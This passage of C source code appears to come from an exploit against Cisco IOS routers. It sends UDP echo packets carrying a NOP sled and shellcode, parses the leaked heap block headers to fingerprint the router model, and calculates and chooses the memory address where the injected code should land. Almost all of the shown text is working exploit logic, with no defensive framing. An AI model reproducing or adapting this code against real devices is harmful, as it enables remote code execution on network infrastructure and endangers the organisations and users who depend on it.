  729. sclen=DUMMY_SIZE-1;
  730. } else {
  731. unsigned char *t;
  732. unsigned int i;
  733.  
  734. t=sc=st=smalloc(PACKETMAX);
  735. //
  736. // calculate the remaining space for nops
  737. //
  738. leak.nop_sled=PACKETMAX-cisco_boxes[shellcode].codelen;
  739. // 
  740. // align
  741. //
  742. while ( (leak.nop_sled % cisco_boxes[shellcode].noplen) != 0) 
  743. leak.nop_sled--;
  744. for (i=0;i< (leak.nop_sled/cisco_boxes[shellcode].noplen) ;i++) {
  745. memcpy(t,cisco_boxes[shellcode].nop,cisco_boxes[shellcode].noplen);
  746. t+=cisco_boxes[shellcode].noplen;
  747. }
  748. // 
  749. // add the real code
  750. //
  751. memcpy(t,cisco_boxes[shellcode].code,cisco_boxes[shellcode].codelen);
  752. t+=cisco_boxes[shellcode].codelen;
  753. sclen=leak.nop_sled + cisco_boxes[shellcode].codelen;
  754. //
  755. // calculate a nop_offset and align
  756. //
  757. leak.nop_offset=leak.nop_sled * 0.8;
  758. while ( (leak.nop_offset % cisco_boxes[shellcode].noplen) != 0) 
  759. leak.nop_offset--;
  760.  
  761. if (cfg.verbose) hexdump(st,sclen);
  762.  
  763. }
  764. packet=UDPecho(&length,sc,sclen);
  765.  
  766. //
  767. // allocate receive buffer
  768. //
  769. rbuf=smalloc(cfg.leakme+0x200);
  770.  
  771. // 
  772. // do it
  773. //
  774. printf("Getting IO memory leak data (%u times) ...\n",r);
  775. while (r--) {
  776. sendpack_IP4(leak.sfd,packet,length);
  777.  
  778. tv.tv_sec=cfg.timeout;
  779. tv.tv_usec=0;
  780. FD_ZERO(&rfds);
  781. FD_SET(leak.udpsfd,&rfds);
  782. select_ret=select(leak.udpsfd+1,&rfds,NULL,NULL,&tv);
  783.  
  784. if (select_ret>0) {
  785. rx=recvfrom(leak.udpsfd,rbuf,cfg.leakme,0,(struct sockaddr *)&frm,&frmlen);
  786. if (rx<0) {
  787. fprintf(stderr,"UDP recvfrom() failed\n");
  788. return (-1);
  789. }
  790. if (cfg.verbose) printf("Received %u bytes data\n",rx);
  791. if (cfg.verbose>1) hexdump(rbuf,rx);
  792. recvflag=1;
  793. // 
  794. // analyze what we got
  795. //
  796. UDPanalyze(rbuf,rx,sc,sclen);
  797. } else {
  798. printf("Timeout at %u - may be lost packet?\n",r);
  799. }
  800. }
  801.  
  802. //
  803. // clean up
  804. //
  805. free(packet);
  806. free(rbuf);
  807. if (st!=NULL) free(st);
  808. close(leak.sfd);
  809. close(leak.udpsfd);
  810. if (cfg.verbose==0) printf("\n"); // be nice
  811.  
  812. if (recvflag) { return 0; } else { return 1; }
  813. }
  814.  
  815.  
  816. unsigned char *UDPecho(
  817. unsigned int *plen, // returned length of packet
  818. unsigned char *payload, // pointer to payload
  819. unsigned int payload_len // length of payload
  820. ) {
  821. unsigned char *pack;
  822. iphdr_t *ip;
  823. udphdr_t *udp;
  824. u_char *pay;
  825. u_char *t;
  826. u_int16_t cs;
  827.  
  828. *plen=sizeof(iphdr_t)+sizeof(udphdr_t)+payload_len;
  829. pack=smalloc(*plen+10);
  830.  
  831. ip=(iphdr_t *)pack;
  832. ip->version=4;
  833. ip->ihl=sizeof(iphdr_t)/4;
  834. ip->ttl=0x80;
  835. ip->protocol=IPPROTO_UDP;
  836. memcpy(&(ip->saddr.s_addr),&(packet_ifconfig.ip.s_addr),IP_ADDR_LEN);
  837. memcpy(&(ip->daddr.s_addr),&(cfg.target_addr),IP_ADDR_LEN);
  838.  
  839. udp=(udphdr_t *)((void *)ip+sizeof(iphdr_t));
  840. udp->sport=htons(LOCALPORT);
  841. udp->dport=htons(7);
  842. udp->length=htons(cfg.leakme);
  843.  
  844. pay=(u_char *)((void *)udp+sizeof(udphdr_t));
  845. t=pay;
  846. memcpy(pay,payload,payload_len);
  847. t+=payload_len;
  848.  
  849. ip->tot_len=htons(*plen);
  850. cs=chksum((u_char *)ip,sizeof(iphdr_t));
  851. ip->check=cs;
  852.  
  853. if (cfg.verbose>1) hexdump(pack,*plen);
  854. return pack;
  855. }
  856.  
  857.  
  858. void UDPanalyze(unsigned char *b, unsigned int len,
  859. unsigned char *expected, unsigned int expected_length) {
  860. #define ST_MAGIC 1
  861. #define ST_PID 2
  862. #define ST_CHECK 3
  863. #define ST_NAME 4
  864. #define ST_PC 5
  865. #define ST_NEXT 6
  866. #define ST_PREV 7
  867. #define ST_SIZE 8
  868. #define ST_REF 9
  869. #define ST_LASTDE 10
  870. #define ST_ID_ME_NOW 100
  871. unsigned char *p;
  872. int state=0;
  873. int i=0;
  874.  
  875. unsigned char *opcode_begin;
  876. unsigned char *block2_next_field;
  877. unsigned int block3_next_val;
  878.  
  879. unsigned int p_name;
  880. unsigned int p_pc;
  881. unsigned int p_next;
  882. unsigned int p_prev;
  883.  
  884.  
  885. opcode_begin=NULL;
  886. block2_next_field=NULL;
  887. block3_next_val=0;
  888.  
  889. if ((!memcmp(b,expected,expected_length))) {
  890. if (cfg.verbose>1) printf("Payload found!\n");
  891. opcode_begin=b;
  892. }
  893.  
  894. p=b;
  895. while ((b+len-4)>p) {
  896.  
  897. if ( (p[0]==0xfd) && (p[1]==0x01) && (p[2]==0x10) && (p[3]==0xDF) ) {
  898. if (cfg.verbose>1) printf("REDZONE MATCH!\n");
  899. else { printf("!"); fflush(stdout); }
  900. state=ST_MAGIC;
  901. p+=4;
  902. }
  903.  
  904. switch (state) {
  905. case ST_MAGIC:
  906. if (cfg.verbose)
  907. printf("MEMORY BLOCK\n");
  908. state++;
  909. p+=4;
  910. break;
  911.  
  912. case ST_PID:
  913. if (cfg.verbose)
  914. printf("\tPID : %08X\n",ntohl(*(unsigned int *)p));
  915. state++;
  916. p+=4;
  917. break;
  918.  
  919. case ST_CHECK:
  920. if (cfg.verbose)
  921. printf("\tAlloc Check: %08X\n",ntohl(*(unsigned int *)p));
  922. state++; 
  923. p+=4;
  924. break;
  925.  
  926. case ST_NAME:
  927. p_name=ntohl(*(unsigned int *)p);
  928. if (cfg.verbose)
  929. printf("\tAlloc Name : %08X\n",p_name);
  930. state++;
  931. p+=4;
  932. break;
  933.  
  934. case ST_PC:
  935. p_pc=ntohl(*(unsigned int *)p);
  936. if (cfg.verbose)
  937. printf("\tAlloc PC : %08X\n",p_pc);
  938. state++;
  939. p+=4;
  940. break;
  941.  
  942. case ST_NEXT:
  943. p_next=ntohl(*(unsigned int *)p);
  944. if (cfg.verbose) 
  945. printf("\tNEXT Block : %08X\n",p_next);
  946. if (block2_next_field==NULL) {
  947. if (cfg.verbose) printf("Assigning as block2_next_field\n");
  948. block2_next_field=p;
  949. } else if (block3_next_val==0) {
  950. if (cfg.verbose) printf("Assigning as block3_next_val\n");
  951. block3_next_val=p_next;
  952. }
  953. state++;
  954. p+=4;
  955. break;
  956.  
  957. case ST_PREV:
  958. p_prev=ntohl(*(unsigned int *)p);
  959. if (cfg.verbose)
  960. printf("\tPREV Block : %08X\n",p_prev);
  961. state++;
  962. p+=4;
  963. break;
  964.  
  965. case ST_SIZE:
  966. if (cfg.verbose)
  967. printf("\tBlock Size : %8u words",
  968. ntohl(*(unsigned int *)p)&0x7FFFFFFF);
  969. if (ntohl(*(unsigned int *)p)&0x80000000) {
  970. if (cfg.verbose)
  971. printf(" (Block in use)\n");
  972. } else {
  973. if (cfg.verbose)
  974. printf(" (Block NOT in use)\n");
  975. }
  976. state++;
  977. p+=4;
  978. break;
  979.  
  980. case ST_REF:
  981. if (cfg.verbose)
  982. printf("\tReferences : %8u\n",ntohl(*(unsigned int *)p));
  983. state++;
  984. p+=4;
  985. break;
  986.  
  987. case ST_LASTDE:
  988. if (cfg.verbose)
  989. printf("\tLast DeAlc : %08X\n",ntohl(*(unsigned int *)p));
  990. state=ST_ID_ME_NOW;
  991. p+=4;
  992. break;
  993.  
  994. //
  995. // Identification 
  996. //
  997. case ST_ID_ME_NOW:
  998.  
  999. i=0;
  1000. while ((leak.guess==-1)&&(cisco_boxes[i].name!=NULL)) {
  1001. if (
  1002. (p_name>=cisco_boxes[i].PC_start) && 
  1003. (p_name<=cisco_boxes[i].PC_end) &&
  1004. (p_pc>=cisco_boxes[i].PC_start) && 
  1005. (p_pc<=cisco_boxes[i].PC_end) &&
  1006. (p_next>=cisco_boxes[i].IO_start) && 
  1007. (p_next<=cisco_boxes[i].IO_end) &&
  1008. (p_prev>=cisco_boxes[i].IO_start) && 
  1009. (p_prev<=cisco_boxes[i].IO_end)
  1010. ) {
  1011. leak.guess=i;
  1012. break;
  1013. }
  1014. i++;
  1015. }
  1016. state=0;
  1017. p+=4;
  1018. break;
  1019.  
  1020. default:
  1021. p+=1;
  1022.  
  1023. }
  1024. }
  1025.  
  1026. if ( (opcode_begin!=NULL) && (block2_next_field!=NULL) && (block3_next_val!=0) ) {
  1027. unsigned int delta;
  1028. unsigned int a;
  1029. unsigned int i;
  1030. int flag=0;
  1031.  
  1032. delta=(unsigned int)((void*)block2_next_field - (void*)opcode_begin);
  1033. a=block3_next_val-delta;
  1034.  
  1035. if (cfg.verbose) {
  1036. printf("\n");
  1037. printf("Delta between opcode_begin (%p) "
  1038. "and block2_next_field (%p) is %u\n",
  1039. (void*)block2_next_field, (void*)opcode_begin, delta);
  1040. printf("The third block is at 0x%08X\n", block3_next_val);
  1041. printf("Therefore, the code should be located at 0x%08X\n",a);
  1042. }
  1043.  
  1044. for (i=0;i<leak.addrc;i++) {
  1045. if (leak.addrs[i].a==a) {
  1046. leak.addrs[i].count++;
  1047. flag++;
  1048. break;
  1049. }
  1050. }
  1051. if ((flag==0)&&(leak.addrc<MAXADDRS-1)) {
  1052. leak.addrs[leak.addrc++].a=a;
  1053. leak.addrs[leak.addrc].count=1;
  1054. leak.lastaddr=a;
  1055. }
  1056. }
  1057. }
  1058.  
  1059.  
  1060. unsigned int SelectAddress(void) {
  1061. unsigned int the_address;
  1062. int rnd_addr;
  1063. unsigned int i,j;
  1064. addrs_t atmp;
  1065. addrs_t consider[MAXADDRS];
  1066. unsigned int consc=0;
  1067.  
  1068. if (leak.addrc==0) {
  1069. fprintf(stderr,"ERROR: No addresses available. Unable to recover\n");
  1070. return 0;
  1071. }
  1072. for (i=0;i<leak.addrc;i++) 
  1073. printf(" Address 0x%08X (%u times)\n",
  1074. leak.addrs[i].a,
  1075. leak.addrs[i].count);
  1076.  
  1077. //
  1078. // put addresses to consider in another array.
  1079. // We only want those above our threshold, to prevent irregular buffers
  1080. //
  1081. memset(&consider,0,sizeof(consider));
  1082. for (i=0;i<leak.addrc;i++) {
  1083. if (leak.addrs[i].count<LOW_COUNT_THR) {
  1084. printf("Address 0x%08X count below threshold\n",
  1085. leak.addrs[i].a);
  1086. continue;
  1087. }
  1088. consider[consc]=leak.addrs[i];
  1089. consc++;
  1090. }
  1091.  
  1092. //
  1093. // bubble sort addresses, unless we are operating count based, where we 
  1094. // sort by times of appearences
  1095. //
  1096. if (cfg.strategy != S_FREQUENT) {
  1097. for (i=0;i<consc-1;i++) {
  1098. for (j=0;j<(consc-1-i);j++) {
  1099. if (consider[j+1].a < consider[j].a) {
  1100. atmp=consider[j];
  1101. consider[j] = consider[j+1];
  1102. consider[j+1] = atmp;
  1103. }
  1104. }
  1105. }
  1106. } else {
  1107. for (i=0;i<consc-1;i++) {
  1108. for (j=0;j<(consc-1-i);j++) {
  1109. if (consider[j+1].count < consider[j].count) {
  1110. atmp=consider[j];
  1111. consider[j] = consider[j+1];
  1112. consider[j+1] = atmp;
  1113. }
  1114. }
  1115. }
  1116. }
  1117.  
  1118. printf("Cleaned up, remaining addresses %u\n",consc);
  1119. if (consc==0) {
  1120. fprintf(stderr,"ERROR: No addresses left. Unable to recover\n"
  1121. "You can try to decrease LOW_COUNT_THR in the source\n");
  1122. return 0;
  1123. }
  1124. for (i=0;i<consc;i++) 
  1125. printf(" Address 0x%08X (%u times)\n",
  1126. consider[i].a,
  1127. consider[i].count);
  1128.  
  1129.  
  1130.  
  1131. switch (cfg.strategy) {
  1132. case S_RANDOM: 
  1133. {
  1134. srand((unsigned long)time(NULL));
  1135. rnd_addr=(int)(((float)consc-1)*rand()/(RAND_MAX+1.0));
  1136. the_address=consider[rnd_addr].a + leak.nop_offset;
  1137. printf("Use pseudo-randomly selected address 0x%08X (0x%08X)\n",
  1138. the_address,consider[rnd_addr].a);
  1139. }
  1140. break;
  1141. case S_LAST: 
  1142. {
  1143. the_address=leak.lastaddr + leak.nop_offset;
  1144. printf("Using last address 0x%08X\n",the_address);
  1145. }
  1146. break;
  1147. case S_SMALLEST:
  1148. {
  1149. if (consc==1) {
  1150. the_address= consider[0].a + leak.nop_offset;
  1151. printf("Using smallest address 0x%08X (0x%08X)\n",
  1152. the_address,consider[0].a);
  1153. } else if (consc==2) {
  1154. the_address= consider[1].a + leak.nop_offset;
  1155. printf("Using second smallest address 0x%08X (0x%08X)\n",
  1156. the_address,consider[1].a);
  1157. } else {
  1158. the_address= consider[2].a + leak.nop_offset;
  1159. printf("Using third smallest address 0x%08X (0x%08X)\n",
  1160. the_address,consider[2].a);
  1161. }
  1162. }
  1163. break;
  1164. case S_HIGHEST:
  1165. {
  1166. the_address= consider[consc-1].a + leak.nop_offset;
  1167. printf("Using highest address 0x%08X (0x%08X)\n",
  1168. the_address,consider[consc-1].a);
  1169. }
  1170. break;
  1171. case S_FREQUENT:
  1172. {
  1173. // already sorted by frequency
  1174. the_address= consider[consc-1].a + leak.nop_offset;
  1175. printf("Using most frequent address 0x%08X (0x%08X)\n",
  1176. the_address,consider[consc-1].a);
  1177. }
  1178. break;
  1179. default:
  1180. fprintf(stderr,"ERROR: unknown address strategy selected\n");
  1181. return (0);
  1182. }
  1183.  
  1184. return the_address;
  1185. }
  1186.